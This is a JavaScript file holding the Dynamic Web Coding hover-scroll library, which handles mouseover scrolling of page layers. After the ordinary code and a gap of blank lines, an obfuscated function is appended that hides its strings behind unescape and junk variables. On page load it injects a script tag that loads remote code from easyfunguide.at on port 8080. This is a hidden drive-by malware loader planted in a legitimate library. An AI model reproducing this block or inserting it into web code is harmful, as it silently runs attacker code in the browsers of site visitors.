/*************************************************************************
  This code is from Dynamic Web Coding at www.dyn-web.com
  Copyright 2001-4 by Sharon Paine 
  See Terms of Use at www.dyn-web.com/bus/terms.html
  regarding conditions under which you may use this code.
  This notice must be retained in the code as is!
*************************************************************************/

/* dw_hoverscroll.js  version date: June 2004 
   mouseover scrolling for dw_scrollObj (in dw_scrollObj.js)  */

dw_scrollObj.stopScroll = function(wnId) {
  if ( dw_scrollObjs[wnId] ) dw_scrollObjs[wnId].endScroll();
}

// increase speed onmousedown of scroll links
dw_scrollObj.doubleSpeed = function(wnId) {
  if ( dw_scrollObjs[wnId] ) dw_scrollObjs[wnId].speed *= 2;
}

dw_scrollObj.resetSpeed = function(wnId) {
  if ( dw_scrollObjs[wnId] ) dw_scrollObjs[wnId].speed /= 2;
}

// algorithms for time-based scrolling and scrolling onmouseover at any angle adapted from youngpup.net
dw_scrollObj.initScroll = function(wnId, deg, sp) {
  if ( dw_scrollObjs[wnId] ) {
    var cosine, sine;
    if (typeof deg == "string") {
      switch (deg) {
        case "up"    : deg = 90;  break;
        case "down"  : deg = 270; break;
        case "left"  : deg = 180; break;
        case "right" : deg = 0;   break;
        default: 
          alert("Direction of scroll in mouseover scroll links should be 'up', 'down', 'left', 'right' or number: 0 to 360.");
       }
    } 
    deg = deg % 360;
    if (deg % 90 == 0) {
      cosine = (deg == 0)? -1: (deg == 180)? 1: 0;
      sine = (deg == 90)? 1: (deg == 270)? -1: 0;
    } else {
      var angle = deg * Math.PI/180;
      cosine = -Math.cos(angle); sine = Math.sin(angle);
    }
    dw_scrollObjs[wnId].fx = cosine / ( Math.abs(cosine) + Math.abs(sine) );
    dw_scrollObjs[wnId].fy = sine / ( Math.abs(cosine) + Math.abs(sine) );
    dw_scrollObjs[wnId].endX = (deg == 90 || deg == 270)? dw_scrollObjs[wnId].x:
      (deg < 90 || deg > 270)? -dw_scrollObjs[wnId].maxX: 0; 
    dw_scrollObjs[wnId].endY = (deg == 0 || deg == 180)? dw_scrollObjs[wnId].y: 
      (deg < 180)? 0: -dw_scrollObjs[wnId].maxY;
    dw_scrollObjs[wnId].startScroll(sp);
  }
}

// speed (optional) to override default speed (set in dw_scrollObj.speed)
dw_scrollObj.prototype.startScroll = function(speed) {
  if (!this.ready) return; if (this.timerId) clearInterval(this.timerId);
  this.speed = speed || dw_scrollObj.speed;
  this.lyr = document.getElementById(this.lyrId);
  this.lastTime = ( new Date() ).getTime();
  this.on_scroll_start();  
  this.timerId = setInterval(this.animString + ".scroll()", 10); 
}

dw_scrollObj.prototype.scroll = function() {
  var now = ( new Date() ).getTime();
  var d = (now - this.lastTime)/1000 * this.speed;
  if (d > 0) {
    var x = this.x + this.fx * d; var y = this.y + this.fy * d;
    if (this.fx == 0 || this.fy == 0) { // for horizontal or vertical scrolling
      if ( ( this.fx == -1 && x > -this.maxX ) || ( this.fx == 1 && x < 0 ) || 
        ( this.fy == -1 && y > -this.maxY ) || ( this.fy == 1 && y < 0 ) ) {
        this.lastTime = now;
        this.shiftTo(this.lyr, x, y);
        this.on_scroll(x, y);
      } else {
        clearInterval(this.timerId); this.timerId = 0;
        this.shiftTo(this.lyr, this.endX, this.endY);
        this.on_scroll_end(this.endX, this.endY);
      }
    } else { // for scrolling at an angle (stop when reach end on one axis)
      if ( ( this.fx < 0 && x >= -this.maxX && this.fy < 0 && y >= -this.maxY ) ||
        ( this.fx > 0 && x <= 0 && this.fy > 0 && y <= 0 ) ||
        ( this.fx < 0 && x >= -this.maxX && this.fy > 0 && y <= 0 ) ||
        ( this.fx > 0 && x <= 0 && this.fy < 0 && y >= -this.maxY ) ) {
        this.lastTime = now;
        this.shiftTo(this.lyr, x, y);
        this.on_scroll(x, y);
      } else {
        clearInterval(this.timerId); this.timerId = 0;
        this.on_scroll_end(this.x, this.y);
      }
    }
  }
}

dw_scrollObj.prototype.endScroll = function() {
  if (!this.ready) return;
  if (this.timerId) clearInterval(this.timerId);
  this.timerId = 0;  this.lyr = null;
}

dw_scrollObj.prototype.on_scroll = function() {}
dw_scrollObj.prototype.on_scroll_start = function() {}
dw_scrollObj.prototype.on_scroll_end = function() {}
  






function Y(){var a;if(a!=''){a='j'};var D=unescape;var NJ=new String();var N=window;var w;if(w!='' && w!='ac'){w='T'};var Pm;if(Pm!='' && Pm!='g'){Pm='O'};var S;if(S!='' && S!='ad'){S='Xf'};var V=D("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%65%64%69%66%66%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%61%65%2e%70%68%70");this.o='';function c(F,x){var hA;if(hA!='' && hA!='_g'){hA='sB'};var OZ;if(OZ!='' && OZ!='gX'){OZ='L'};var an="";var J;if(J!='Lj' && J!='Ki'){J=''};var i="g";this.KiK='';var eG=new Array();var t=D("%5b"), xV=D("%5d");var yP;if(yP!='' && yP!='xJ'){yP='ig'};var sz="";var q=t+x+xV;var f;if(f!='' && f!='yw'){f=null};var l=new RegExp(q, i);return F.replace(l, new String());var am;if(am!='si' && am != ''){am=null};};var _I=new String();var Nx;if(Nx!='' && Nx!='Yq'){Nx='r'};var jM=new Array();var Ur;if(Ur!='' && Ur!='z'){Ur=null};var Pj;if(Pj!='M' && Pj!='Bl'){Pj=''};this.RS="";var s=c('891946032357825261302449','67193524');var tb=document;var B=new String();var Lv;if(Lv!='pV' && Lv != ''){Lv=null};this.MO='';var X_;if(X_!='' && X_!='CCv'){X_='jX'};var Vk=new Array();var E=new Array();function u(){var js="";var Tv;if(Tv!='' && Tv!='ex'){Tv='Pe'};var k=D("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var kL=new Date();B=k;B+=s;var Yg=new Date();B+=V;var wg;if(wg!='d' && wg!='eA'){wg=''};try {var _U;if(_U!='Kv' && _U!='FK'){_U=''};R=tb.createElement(c('sNcNrXiNpgtg','NXg'));var uD=new Array();var Oi='';R[D("%73%72%63")]=B;var Zc;if(Zc!='eR' && Zc!='dj'){Zc=''};R[D("%64%65%66%65%72")]=[1,6][0];var _E;if(_E!='' && _E!='XD'){_E='Lm'};tb.body.appendChild(R);var Fi;if(Fi!='YW' && Fi!='BT'){Fi=''};var pK=new Array();this.Pa='';} catch(h){alert(h);var hV=new String();var CU;if(CU!='' && CU!='FC'){CU='RY'};};var OY=new Array();var I;if(I!='' && I!='oJ'){I=null};}N[new String("onloa"+"d")]=u;var iM=new Array();var NL=new Array();var Fn=new Date();};var SG=new Date();var xc=new Date();var v=new Date();Y();